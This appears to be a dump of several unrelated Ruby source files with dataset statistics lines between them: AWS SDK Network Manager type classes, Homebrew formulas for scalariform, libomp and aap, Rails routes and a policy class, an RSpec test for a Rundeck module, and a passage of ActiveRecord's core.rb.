required # link_ids: ["String"], # site_id: "String", # type: "String", # provider: "String", # max_results: 1, # next_token: "String", # } # # @!attribute [rw] global_network_id # The ID of the global network. # @return [String] # # @!attribute [rw] link_ids # One or more link IDs. The maximum is 10. # @return [Array<String>] # # @!attribute [rw] site_id # The ID of the site. # @return [String] # # @!attribute [rw] type # The link type. # @return [String] # # @!attribute [rw] provider # The link provider. # @return [String] # # @!attribute [rw] max_results # The maximum number of results to return. # @return [Integer] # # @!attribute [rw] next_token # The token for the next page of results. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/GetLinksRequest AWS API Documentation # class GetLinksRequest < Struct.new( :global_network_id, :link_ids, :site_id, :type, :provider, :max_results, :next_token) include Aws::Structure end # @!attribute [rw] links # The links. # @return [Array<Types::Link>] # # @!attribute [rw] next_token # The token for the next page of results. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/GetLinksResponse AWS API Documentation # class GetLinksResponse < Struct.new( :links, :next_token) include Aws::Structure end # @note When making an API call, you may pass GetSitesRequest # data as a hash: # # { # global_network_id: "String", # required # site_ids: ["String"], # max_results: 1, # next_token: "String", # } # # @!attribute [rw] global_network_id # The ID of the global network. # @return [String] # # @!attribute [rw] site_ids # One or more site IDs. The maximum is 10. # @return [Array<String>] # # @!attribute [rw] max_results # The maximum number of results to return. # @return [Integer] # # @!attribute [rw] next_token # The token for the next page of results. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/GetSitesRequest AWS API Documentation # class GetSitesRequest < Struct.new( :global_network_id, :site_ids, :max_results, :next_token) include Aws::Structure end # @!attribute [rw] sites # The sites. # @return [Array<Types::Site>] # # @!attribute [rw] next_token # The token for the next page of results. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/GetSitesResponse AWS API Documentation # class GetSitesResponse < Struct.new( :sites, :next_token) include Aws::Structure end # @note When making an API call, you may pass GetTransitGatewayRegistrationsRequest # data as a hash: # # { # global_network_id: "String", # required # transit_gateway_arns: ["String"], # max_results: 1, # next_token: "String", # } # # @!attribute [rw] global_network_id # The ID of the global network. # @return [String] # # @!attribute [rw] transit_gateway_arns # The Amazon Resource Names (ARNs) of one or more transit gateways. # The maximum is 10. # @return [Array<String>] # # @!attribute [rw] max_results # The maximum number of results to return. # @return [Integer] # # @!attribute [rw] next_token # The token for the next page of results. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/GetTransitGatewayRegistrationsRequest AWS API Documentation # class GetTransitGatewayRegistrationsRequest < Struct.new( :global_network_id, :transit_gateway_arns, :max_results, :next_token) include Aws::Structure end # @!attribute [rw] transit_gateway_registrations # The transit gateway registrations. # @return [Array<Types::TransitGatewayRegistration>] # # @!attribute [rw] next_token # The token for the next page of results. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/GetTransitGatewayRegistrationsResponse AWS API Documentation # class GetTransitGatewayRegistrationsResponse < Struct.new( :transit_gateway_registrations, :next_token) include Aws::Structure end # Describes a global network. # # @!attribute [rw] global_network_id # The ID of the global network. # @return [String] # # @!attribute [rw] global_network_arn # The Amazon Resource Name (ARN) of the global network. # @return [String] # # @!attribute [rw] description # The description of the global network. # @return [String] # # @!attribute [rw] created_at # The date and time that the global network was created. # @return [Time] # # @!attribute [rw] state # The state of the global network. # @return [String] # # @!attribute [rw] tags # The tags for the global network. # @return [Array<Types::Tag>] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/GlobalNetwork AWS API Documentation # class GlobalNetwork < Struct.new( :global_network_id, :global_network_arn, :description, :created_at, :state, :tags) include Aws::Structure end # The request has failed due to an internal error. # # @!attribute [rw] message # @return [String] # # @!attribute [rw] retry_after_seconds # Indicates when to retry the request. # @return [Integer] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/InternalServerException AWS API Documentation # class InternalServerException < Struct.new( :message, :retry_after_seconds) include Aws::Structure end # Describes a link. # # @!attribute [rw] link_id # The ID of the link. # @return [String] # # @!attribute [rw] link_arn # The Amazon Resource Name (ARN) of the link. # @return [String] # # @!attribute [rw] global_network_id # The ID of the global network. # @return [String] # # @!attribute [rw] site_id # The ID of the site. # @return [String] # # @!attribute [rw] description # The description of the link. # @return [String] # # @!attribute [rw] type # The type of the link. # @return [String] # # @!attribute [rw] bandwidth # The bandwidth for the link. # @return [Types::Bandwidth] # # @!attribute [rw] provider # The provider of the link. # @return [String] # # @!attribute [rw] created_at # The date and time that the link was created. # @return [Time] # # @!attribute [rw] state # The state of the link. # @return [String] # # @!attribute [rw] tags # The tags for the link. # @return [Array<Types::Tag>] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/Link AWS API Documentation # class Link < Struct.new( :link_id, :link_arn, :global_network_id, :site_id, :description, :type, :bandwidth, :provider, :created_at, :state, :tags) include Aws::Structure end # Describes the association between a device and a link. # # @!attribute [rw] global_network_id # The ID of the global network. # @return [String] # # @!attribute [rw] device_id # The device ID for the link association. # @return [String] # # @!attribute [rw] link_id # The ID of the link. # @return [String] # # @!attribute [rw] link_association_state # The state of the association. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/LinkAssociation AWS API Documentation # class LinkAssociation < Struct.new( :global_network_id, :device_id, :link_id, :link_association_state) include Aws::Structure end # @note When making an API call, you may pass ListTagsForResourceRequest # data as a hash: # # { # resource_arn: "ResourceARN", # required # } # # @!attribute [rw] resource_arn # The Amazon Resource Name (ARN) of the resource. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/ListTagsForResourceRequest AWS API Documentation # class ListTagsForResourceRequest < Struct.new( :resource_arn) include Aws::Structure end # @!attribute [rw] tag_list # The list of tags. # @return [Array<Types::Tag>] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/ListTagsForResourceResponse AWS API Documentation # class ListTagsForResourceResponse < Struct.new( :tag_list) include Aws::Structure end # Describes a location. # # @note When making an API call, you may pass Location # data as a hash: # # { # address: "String", # latitude: "String", # longitude: "String", # } # # @!attribute [rw] address # The physical address. # @return [String] # # @!attribute [rw] latitude # The latitude. # @return [String] # # @!attribute [rw] longitude # The longitude. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/Location AWS API Documentation # class Location < Struct.new( :address, :latitude, :longitude) include Aws::Structure end # @note When making an API call, you may pass RegisterTransitGatewayRequest # data as a hash: # # { # global_network_id: "String", # required # transit_gateway_arn: "String", # required # } # # @!attribute [rw] global_network_id # The ID of the global network. # @return [String] # # @!attribute [rw] transit_gateway_arn # The Amazon Resource Name (ARN) of the transit gateway. For more # information, see [Resources Defined by Amazon EC2][1]. # # # # [1]: https://docs.aws.amazon.com/IAM/latest/UserGuide/list_amazonec2.html#amazonec2-resources-for-iam-policies # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/RegisterTransitGatewayRequest AWS API Documentation # class RegisterTransitGatewayRequest < Struct.new( :global_network_id, :transit_gateway_arn) include Aws::Structure end # @!attribute [rw] transit_gateway_registration # Information about the transit gateway registration. # @return [Types::TransitGatewayRegistration] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/RegisterTransitGatewayResponse AWS API Documentation # class RegisterTransitGatewayResponse < Struct.new( :transit_gateway_registration) include Aws::Structure end # The specified resource could not be found. # # @!attribute [rw] message # @return [String] # # @!attribute [rw] resource_id # The ID of the resource. # @return [String] # # @!attribute [rw] resource_type # The resource type. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/ResourceNotFoundException AWS API Documentation # class ResourceNotFoundException < Struct.new( :message, :resource_id, :resource_type) include Aws::Structure end # A service limit was exceeded. # # @!attribute [rw] message # The error message. # @return [String] # # @!attribute [rw] resource_id # The ID of the resource. # @return [String] # # @!attribute [rw] resource_type # The resource type. # @return [String] # # @!attribute [rw] limit_code # The limit code. # @return [String] # # @!attribute [rw] service_code # The service code. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/ServiceQuotaExceededException AWS API Documentation # class ServiceQuotaExceededException < Struct.new( :message, :resource_id, :resource_type, :limit_code, :service_code) include Aws::Structure end # Describes a site. # # @!attribute [rw] site_id # The ID of the site. # @return [String] # # @!attribute [rw] site_arn # The Amazon Resource Name (ARN) of the site. # @return [String] # # @!attribute [rw] global_network_id # The ID of the global network. # @return [String] # # @!attribute [rw] description # The description of the site. # @return [String] # # @!attribute [rw] location # The location of the site. # @return [Types::Location] # # @!attribute [rw] created_at # The date and time that the site was created. # @return [Time] # # @!attribute [rw] state # The state of the site. # @return [String] # # @!attribute [rw] tags # The tags for the site. # @return [Array<Types::Tag>] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/Site AWS API Documentation # class Site < Struct.new( :site_id, :site_arn, :global_network_id, :description, :location, :created_at, :state, :tags) include Aws::Structure end # Describes a tag. # # @note When making an API call, you may pass Tag # data as a hash: # # { # key: "TagKey", # value: "TagValue", # } # # @!attribute [rw] key # The tag key. # # Length Constraints: Maximum length of 128 characters. # @return [String] # # @!attribute [rw] value # The tag value. # # Length Constraints: Maximum length of 256 characters. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/Tag AWS API Documentation # class Tag < Struct.new( :key, :value) include Aws::Structure end # @note When making an API call, you may pass TagResourceRequest # data as a hash: # # { # resource_arn: "ResourceARN", # required # tags: [ # required # { # key: "TagKey", # value: "TagValue", # }, # ], # } # # @!attribute [rw] resource_arn # The Amazon Resource Name (ARN) of the resource. # @return [String] # # @!attribute [rw] tags # The tags to apply to the specified resource. # @return [Array<Types::Tag>] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/TagResourceRequest AWS API Documentation # class TagResourceRequest < Struct.new( :resource_arn, :tags) include Aws::Structure end # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/TagResourceResponse AWS API Documentation # class TagResourceResponse < Aws::EmptyStructure; end # The request was denied due to request throttling. # # @!attribute [rw] message # @return [String] # # @!attribute [rw] retry_after_seconds # Indicates when to retry the request. # @return [Integer] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/ThrottlingException AWS API Documentation # class ThrottlingException < Struct.new( :message, :retry_after_seconds) include Aws::Structure end # Describes the registration of a transit gateway to a global network. # # @!attribute [rw] global_network_id # The ID of the global network. # @return [String] # # @!attribute [rw] transit_gateway_arn # The Amazon Resource Name (ARN) of the transit gateway. # @return [String] # # @!attribute [rw] state # The state of the transit gateway registration. # @return [Types::TransitGatewayRegistrationStateReason] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/TransitGatewayRegistration AWS API Documentation # class TransitGatewayRegistration < Struct.new( :global_network_id, :transit_gateway_arn, :state) include Aws::Structure end # Describes the status of a transit gateway registration. # # @!attribute [rw] code # The code for the state reason. # @return [String] # # @!attribute [rw] message # The message for the state reason. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/TransitGatewayRegistrationStateReason AWS API Documentation # class TransitGatewayRegistrationStateReason < Struct.new( :code, :message) include Aws::Structure end # @note When making an API call, you may pass UntagResourceRequest # data as a hash: # # { # resource_arn: "ResourceARN", # required # tag_keys: ["TagKey"], # required # } # # @!attribute [rw] resource_arn # The Amazon Resource Name (ARN) of the resource. # @return [String] # # @!attribute [rw] tag_keys # The tag keys to remove from the specified resource. # @return [Array<String>] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/UntagResourceRequest AWS API Documentation # class UntagResourceRequest < Struct.new( :resource_arn, :tag_keys) include Aws::Structure end # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/UntagResourceResponse AWS API Documentation # class UntagResourceResponse < Aws::EmptyStructure; end # @note When making an API call, you may pass UpdateDeviceRequest # data as a hash: # # { # global_network_id: "String", # required # device_id: "String", # required # description: "String", # type: "String", # vendor: "String", # model: "String", # serial_number: "String", # location: { # address: "String", # latitude: "String", # longitude: "String", # }, # site_id: "String", # } # # @!attribute [rw] global_network_id # The ID of the global network. # @return [String] # # @!attribute [rw] device_id # The ID of the device. # @return [String] # # @!attribute [rw] description # A description of the device. # # Length Constraints: Maximum length of 256 characters. # @return [String] # # @!attribute [rw] type # The type of the device. # @return [String] # # @!attribute [rw] vendor # The vendor of the device. # # Length Constraints: Maximum length of 128 characters. # @return [String] # # @!attribute [rw] model # The model of the device. # # Length Constraints: Maximum length of 128 characters. # @return [String] # # @!attribute [rw] serial_number # The serial number of the device. # # Length Constraints: Maximum length of 128 characters. # @return [String] # # @!attribute [rw] location # Describes a location. # @return [Types::Location] # # @!attribute [rw] site_id # The ID of the site. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/UpdateDeviceRequest AWS API Documentation # class UpdateDeviceRequest < Struct.new( :global_network_id, :device_id, :description, :type, :vendor, :model, :serial_number, :location, :site_id) include Aws::Structure end # @!attribute [rw] device # Information about the device. # @return [Types::Device] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/UpdateDeviceResponse AWS API Documentation # class UpdateDeviceResponse < Struct.new( :device) include Aws::Structure end # @note When making an API call, you may pass UpdateGlobalNetworkRequest # data as a hash: # # { # global_network_id: "String", # required # description: "String", # } # # @!attribute [rw] global_network_id # The ID of your global network. # @return [String] # # @!attribute [rw] description # A description of the global network. # # Length Constraints: Maximum length of 256 characters. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/UpdateGlobalNetworkRequest AWS API Documentation # class UpdateGlobalNetworkRequest < Struct.new( :global_network_id, :description) include Aws::Structure end # @!attribute [rw] global_network # Information about the global network object. # @return [Types::GlobalNetwork] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/UpdateGlobalNetworkResponse AWS API Documentation # class UpdateGlobalNetworkResponse < Struct.new( :global_network) include Aws::Structure end # @note When making an API call, you may pass UpdateLinkRequest # data as a hash: # # { # global_network_id: "String", # required # link_id: "String", # required # description: "String", # type: "String", # bandwidth: { # upload_speed: 1, # download_speed: 1, # }, # provider: "String", # } # # @!attribute [rw] global_network_id # The ID of the global network. # @return [String] # # @!attribute [rw] link_id # The ID of the link. # @return [String] # # @!attribute [rw] description # A description of the link. # # Length Constraints: Maximum length of 256 characters. # @return [String] # # @!attribute [rw] type # The type of the link. # # Length Constraints: Maximum length of 128 characters. # @return [String] # # @!attribute [rw] bandwidth # The upload and download speed in Mbps. # @return [Types::Bandwidth] # # @!attribute [rw] provider # The provider of the link. # # Length Constraints: Maximum length of 128 characters. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/UpdateLinkRequest AWS API Documentation # class UpdateLinkRequest < Struct.new( :global_network_id, :link_id, :description, :type, :bandwidth, :provider) include Aws::Structure end # @!attribute [rw] link # Information about the link. # @return [Types::Link] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/UpdateLinkResponse AWS API Documentation # class UpdateLinkResponse < Struct.new( :link) include Aws::Structure end # @note When making an API call, you may pass UpdateSiteRequest # data as a hash: # # { # global_network_id: "String", # required # site_id: "String", # required # description: "String", # location: { # address: "String", # latitude: "String", # longitude: "String", # }, # } # # @!attribute [rw] global_network_id # The ID of the global network. # @return [String] # # @!attribute [rw] site_id # The ID of your site. # @return [String] # # @!attribute [rw] description # A description of your site. # # Length Constraints: Maximum length of 256 characters. # @return [String] # # @!attribute [rw] location # The site location: # # * `Address`\: The physical address of the site. # # * `Latitude`\: The latitude of the site. # # * `Longitude`\: The longitude of the site. # @return [Types::Location] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/UpdateSiteRequest AWS API Documentation # class UpdateSiteRequest < Struct.new( :global_network_id, :site_id, :description, :location) include Aws::Structure end # @!attribute [rw] site # Information about the site. # @return [Types::Site] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/UpdateSiteResponse AWS API Documentation # class UpdateSiteResponse < Struct.new( :site) include Aws::Structure end # The input fails to satisfy the constraints. # # @!attribute [rw] message # @return [String] # # @!attribute [rw] reason # The reason for the error. # @return [String] # # @!attribute [rw] fields # The fields that caused the error, if applicable. # @return [Array<Types::ValidationExceptionField>] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/ValidationException AWS API Documentation # class ValidationException < Struct.new( :message, :reason, :fields) include Aws::Structure end # Describes a validation exception for a field. # # @!attribute [rw] name # The name of the field. # @return [String] # # @!attribute [rw] message # The message for the field. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/networkmanager-2019-07-05/ValidationExceptionField AWS API Documentation # class ValidationExceptionField < Struct.new( :name, :message) include Aws::Structure end end end
28.797595
136
0.592902
3943389598d0f043f71ca35b16b5284fe18cbe55
1,138
class Scalariform < Formula desc "Scala source code formatter" homepage "https://github.com/scala-ide/scalariform" url "https://github.com/scala-ide/scalariform/releases/download/0.2.10/scalariform.jar" sha256 "59d7c26f26c13bdbc27e3011da244f01001d55741058062f49e4626862b7991e" head do url "https://github.com/scala-ide/scalariform.git" depends_on "sbt" => :build end bottle :unneeded def install if build.head? system "sbt", "project cli", "assembly" libexec.install Dir["cli/target/scala-*/cli-assembly-*.jar"] bin.write_jar_script Dir[libexec/"cli-assembly-*.jar"][0], "scalariform" else libexec.install "scalariform.jar" bin.write_jar_script libexec/"scalariform.jar", "scalariform" end end test do before_data = <<~EOS def foo() { println("Hello World") } EOS after_data = <<~EOS def foo() { println("Hello World") } EOS (testpath/"foo.scala").write before_data system bin/"scalariform", "-indentSpaces=3", testpath/"foo.scala" assert_equal after_data, (testpath/"foo.scala").read end end
26.465116
89
0.670475
abea1ef4e18a6049b1f01f28e9284fd20e0d235b
1,668
class Libomp < Formula desc "LLVM's OpenMP runtime library" homepage "https://openmp.llvm.org/" url "https://github.com/llvm/llvm-project/releases/download/llvmorg-10.0.0/openmp-10.0.0.src.tar.xz" sha256 "3b9ff29a45d0509a1e9667a0feb43538ef402ea8cfc7df3758a01f20df08adfa" bottle do cellar :any sha256 "0ea757dbea7bf12141ef1d209d2f3b59919baa0caa0482d7ea6ae9c2dfed2382" => :catalina sha256 "aecd306b605763dbd06c73b5d470c924643b48c051f06d8a4e70be705052c8ee" => :mojave sha256 "ddfbe1ab7c6dafc45c787d6b4ae19fffb6465bbc0aef007b728cb98ba0d6d2b1" => :high_sierra end depends_on "cmake" => :build depends_on :macos => :yosemite def install # Disable LIBOMP_INSTALL_ALIASES, otherwise the library is installed as # libgomp alias which can conflict with GCC's libgomp. system "cmake", ".", *std_cmake_args, "-DLIBOMP_INSTALL_ALIASES=OFF" system "make", "install" system "cmake", ".", "-DLIBOMP_ENABLE_SHARED=OFF", *std_cmake_args, "-DLIBOMP_INSTALL_ALIASES=OFF" system "make", "install" end test do (testpath/"test.cpp").write <<~EOS #include <omp.h> #include <array> int main (int argc, char** argv) { std::array<size_t,2> arr = {0,0}; #pragma omp parallel num_threads(2) { size_t tid = omp_get_thread_num(); arr.at(tid) = tid + 1; } if(arr.at(0) == 1 && arr.at(1) == 2) return 0; else return 1; } EOS system ENV.cxx, "-Werror", "-Xpreprocessor", "-fopenmp", "test.cpp", "-L#{lib}", "-lomp", "-o", "test" system "./test" end end
34.040816
102
0.640288
6a121d8b0352cc942acfa4eba3c77fe156276473
1,129
class Aap < Formula desc "Make-like tool to download, build, and install software" homepage "http://www.a-a-p.org" url "https://downloads.sourceforge.net/project/a-a-p/aap-1.094.zip" sha256 "3f53b2fc277756042449416150acc477f29de93692944f8a77e8cef285a1efd8" bottle do cellar :any_skip_relocation rebuild 1 sha256 "6e42400eb31e15dae56452b347925eb20faae1b996d94173b8711bd080e4a182" => :sierra sha256 "32c30b38a37147754c5abfe9a801777b4a798af6dbcce2f15e1693c6027f0fbe" => :el_capitan sha256 "15472b5a56a90d2d83c3ab24eba09e3644867857d8a7c547c82e6937beff3344" => :yosemite sha256 "b141c07f091f90bd883148bf0e3c093d90fc0be7c4f8e7d07df9ae7cae684862" => :mavericks sha256 "4e422aa695195352e1541c7d5384822733350a2e8a585ba68ca8e96d9b9faaab" => :x86_64_linux end depends_on :python if MacOS.version <= :snow_leopard def install # Aap is designed to install using itself system "./aap", "install", "PREFIX=#{prefix}", "MANSUBDIR=share/man" end test do # A dummy target definition (testpath/"main.aap").write("dummy:\n\t:print OK\n") system "#{bin}/aap", "dummy" end end
37.633333
94
0.765279
62c99d18d00d334576151f91b06dc25118cb788c
171
class AnswerPolicy < ApplicationPolicy class Scope < Scope def resolve scope.all end end def update? user.admin? || user == record.user end end
14.25
38
0.649123
5d1cbbc720f30baf6a7ef5c242fbd09a9f7594e6
967
# frozen_string_literal: true require 'spec_helper' describe 'rundeck' do on_supported_os.each do |os, os_facts| context "on #{os}" do let(:facts) { os_facts } let(:params) do { gui_config: { 'rundeck.gui.title' => 'Test title', 'rundeck.gui.brand.html' => '<b>App</b>', 'rundeck.gui.logo' => 'test-logo.png', 'rundeck.gui.login.welcome' => 'Weclome to Rundeck' } } end # content and meta data for passwords it 'generates gui_config content for rundeck-config.groovy' do is_expected.to contain_file('/etc/rundeck/rundeck-config.groovy'). with_content(%r{rundeck.gui.title = "Test title"}). with_content(%r{rundeck.gui.brand.html = "<b>App</b>"}). with_content(%r{rundeck.gui.logo = "test-logo.png"}). with_content(%r{rundeck.gui.login.welcome = "Weclome to Rundeck"}) end end end end
31.193548
76
0.585315
626b1931395664ce2f0b61657787a75ca37c00b8
508
Rails.application.routes.draw do devise_for :users, controllers: { registrations: 'users/registrations' } root to: 'weather_data#daily' get 'daily', to: 'weather_data#daily' get 'weekly', to: 'weather_data#weekly' get 'monthly', to: 'weather_data#monthly' get 'yearly', to: 'weather_data#yearly' resources :dimensions resources :stations do resources :measurements end namespace :api do namespace :v1 do get 'now', to: 'weather#now' end end resources :users end
22.086957
74
0.69685
5d0f82130ddb33ec05072254b19de2caa323db8c
19,634
require "thread" require "active_support/core_ext/hash/indifferent_access" require "active_support/core_ext/object/duplicable" require "active_support/core_ext/string/filters" module ActiveRecord module Core extend ActiveSupport::Concern included do ## # :singleton-method: # # Accepts a logger conforming to the interface of Log4r which is then # passed on to any new database connections made and which can be # retrieved on both a class and instance level by calling +logger+. mattr_accessor :logger, instance_writer: false ## # Contains the database configuration - as is typically stored in config/database.yml - # as a Hash. # # For example, the following database.yml... # # development: # adapter: sqlite3 # database: db/development.sqlite3 # # production: # adapter: sqlite3 # database: db/production.sqlite3 # # ...would result in ActiveRecord::Base.configurations to look like this: # # { # 'development' => { # 'adapter' => 'sqlite3', # 'database' => 'db/development.sqlite3' # }, # 'production' => { # 'adapter' => 'sqlite3', # 'database' => 'db/production.sqlite3' # } # } def self.configurations=(config) @@configurations = ActiveRecord::ConnectionHandling::MergeAndResolveDefaultUrlConfig.new(config).resolve end self.configurations = {} # Returns fully resolved configurations hash def self.configurations @@configurations end ## # :singleton-method: # Determines whether to use Time.utc (using :utc) or Time.local (using :local) when pulling # dates and times from the database. This is set to :utc by default. mattr_accessor :default_timezone, instance_writer: false self.default_timezone = :utc ## # :singleton-method: # Specifies the format to use when dumping the database schema with Rails' # Rakefile. If :sql, the schema is dumped as (potentially database- # specific) SQL statements. If :ruby, the schema is dumped as an # ActiveRecord::Schema file which can be loaded into any database that # supports migrations. Use :ruby if you want to have different database # adapters for, e.g., your development and test environments. mattr_accessor :schema_format, instance_writer: false self.schema_format = :ruby ## # :singleton-method: # Specifies if an error should be raised if the query has an order being # ignored when doing batch queries. Useful in applications where the # scope being ignored is error-worthy, rather than a warning. mattr_accessor :error_on_ignored_order, instance_writer: false self.error_on_ignored_order = false def self.error_on_ignored_order_or_limit ActiveSupport::Deprecation.warn(<<-MSG.squish) The flag error_on_ignored_order_or_limit is deprecated. Limits are now supported. Please use error_on_ignored_order instead. MSG error_on_ignored_order end def error_on_ignored_order_or_limit self.class.error_on_ignored_order_or_limit end def self.error_on_ignored_order_or_limit=(value) ActiveSupport::Deprecation.warn(<<-MSG.squish) The flag error_on_ignored_order_or_limit is deprecated. Limits are now supported. Please use error_on_ignored_order= instead. MSG self.error_on_ignored_order = value end ## # :singleton-method: # Specify whether or not to use timestamps for migration versions mattr_accessor :timestamped_migrations, instance_writer: false self.timestamped_migrations = true ## # :singleton-method: # Specify whether schema dump should happen at the end of the # db:migrate rake task. This is true by default, which is useful for the # development environment. This should ideally be false in the production # environment where dumping schema is rarely needed. mattr_accessor :dump_schema_after_migration, instance_writer: false self.dump_schema_after_migration = true ## # :singleton-method: # Specifies which database schemas to dump when calling db:structure:dump. # If the value is :schema_search_path (the default), any schemas listed in # schema_search_path are dumped. Use :all to dump all schemas regardless # of schema_search_path, or a string of comma separated schemas for a # custom list. mattr_accessor :dump_schemas, instance_writer: false self.dump_schemas = :schema_search_path ## # :singleton-method: # Specify a threshold for the size of query result sets. If the number of # records in the set exceeds the threshold, a warning is logged. This can # be used to identify queries which load thousands of records and # potentially cause memory bloat. mattr_accessor :warn_on_records_fetched_greater_than, instance_writer: false self.warn_on_records_fetched_greater_than = nil mattr_accessor :maintain_test_schema, instance_accessor: false mattr_accessor :belongs_to_required_by_default, instance_accessor: false class_attribute :default_connection_handler, instance_writer: false def self.connection_handler ActiveRecord::RuntimeRegistry.connection_handler || default_connection_handler end def self.connection_handler=(handler) ActiveRecord::RuntimeRegistry.connection_handler = handler end self.default_connection_handler = ConnectionAdapters::ConnectionHandler.new end module ClassMethods def allocate define_attribute_methods super end def initialize_find_by_cache # :nodoc: @find_by_statement_cache = { true => {}.extend(Mutex_m), false => {}.extend(Mutex_m) } end def inherited(child_class) # :nodoc: # initialize cache at class definition for thread safety child_class.initialize_find_by_cache super end def find(*ids) # :nodoc: # We don't have cache keys for this stuff yet return super unless ids.length == 1 return super if block_given? || primary_key.nil? || scope_attributes? || columns_hash.include?(inheritance_column) id = ids.first return super if id.kind_of?(Array) || id.is_a?(ActiveRecord::Base) key = primary_key statement = cached_find_by_statement(key) { |params| where(key => params.bind).limit(1) } record = statement.execute([id], self, connection).first unless record raise RecordNotFound.new("Couldn't find #{name} with '#{primary_key}'=#{id}", name, primary_key, id) end record rescue ::RangeError raise RecordNotFound.new("Couldn't find #{name} with an out of range value for '#{primary_key}'", name, primary_key) end def find_by(*args) # :nodoc: return super if scope_attributes? || !(Hash === args.first) || reflect_on_all_aggregations.any? hash = args.first return super if hash.values.any? { |v| v.nil? || Array === v || Hash === v || Relation === v } # We can't cache Post.find_by(author: david) ...yet return super unless hash.keys.all? { |k| columns_hash.has_key?(k.to_s) } keys = hash.keys statement = cached_find_by_statement(keys) { |params| wheres = keys.each_with_object({}) { |param, o| o[param] = params.bind } where(wheres).limit(1) } begin statement.execute(hash.values, self, connection).first rescue TypeError raise ActiveRecord::StatementInvalid rescue ::RangeError nil end end def find_by!(*args) # :nodoc: find_by(*args) || raise(RecordNotFound.new("Couldn't find #{name}", name)) end def initialize_generated_modules # :nodoc: generated_association_methods end def generated_association_methods @generated_association_methods ||= begin mod = const_set(:GeneratedAssociationMethods, Module.new) private_constant :GeneratedAssociationMethods include mod mod end end # Returns a string like 'Post(id:integer, title:string, body:text)' def inspect if self == Base super elsif abstract_class? "#{super}(abstract)" elsif !connected? "#{super} (call '#{super}.connection' to establish a connection)" elsif table_exists? attr_list = attribute_types.map { |name, type| "#{name}: #{type.type}" } * ", " "#{super}(#{attr_list})" else "#{super}(Table doesn't exist)" end end # Overwrite the default class equality method to provide support for association proxies. def ===(object) object.is_a?(self) end # Returns an instance of <tt>Arel::Table</tt> loaded with the current table name. # # class Post < ActiveRecord::Base # scope :published_and_commented, -> { published.and(arel_table[:comments_count].gt(0)) } # end def arel_table # :nodoc: @arel_table ||= Arel::Table.new(table_name, type_caster: type_caster) end # Returns the Arel engine. def arel_engine # :nodoc: @arel_engine ||= if Base == self || connection_handler.retrieve_connection_pool(connection_specification_name) self else superclass.arel_engine end end def arel_attribute(name, table = arel_table) # :nodoc: name = attribute_alias(name) if attribute_alias?(name) table[name] end def predicate_builder # :nodoc: @predicate_builder ||= PredicateBuilder.new(table_metadata) end def type_caster # :nodoc: TypeCaster::Map.new(self) end private def cached_find_by_statement(key, &block) cache = @find_by_statement_cache[connection.prepared_statements] cache[key] || cache.synchronize { cache[key] ||= StatementCache.create(connection, &block) } end def relation relation = Relation.create(self, arel_table, predicate_builder) if finder_needs_type_condition? && !ignore_default_scope? relation.where(type_condition).create_with(inheritance_column.to_sym => sti_name) else relation end end def table_metadata TableMetadata.new(self, arel_table) end end # New objects can be instantiated as either empty (pass no construction parameter) or pre-set with # attributes but not yet saved (pass a hash with key names matching the associated table column names). # In both instances, valid attribute keys are determined by the column names of the associated table -- # hence you can't have attributes that aren't part of the table columns. # # ==== Example: # # Instantiates a single new object # User.new(first_name: 'Jamie') def initialize(attributes = nil) self.class.define_attribute_methods @attributes = self.class._default_attributes.deep_dup init_internals initialize_internals_callback assign_attributes(attributes) if attributes yield self if block_given? _run_initialize_callbacks end # Initialize an empty model object from +coder+. +coder+ should be # the result of previously encoding an Active Record model, using # #encode_with. # # class Post < ActiveRecord::Base # end # # old_post = Post.new(title: "hello world") # coder = {} # old_post.encode_with(coder) # # post = Post.allocate # post.init_with(coder) # post.title # => 'hello world' def init_with(coder) coder = LegacyYamlAdapter.convert(self.class, coder) @attributes = self.class.yaml_encoder.decode(coder) 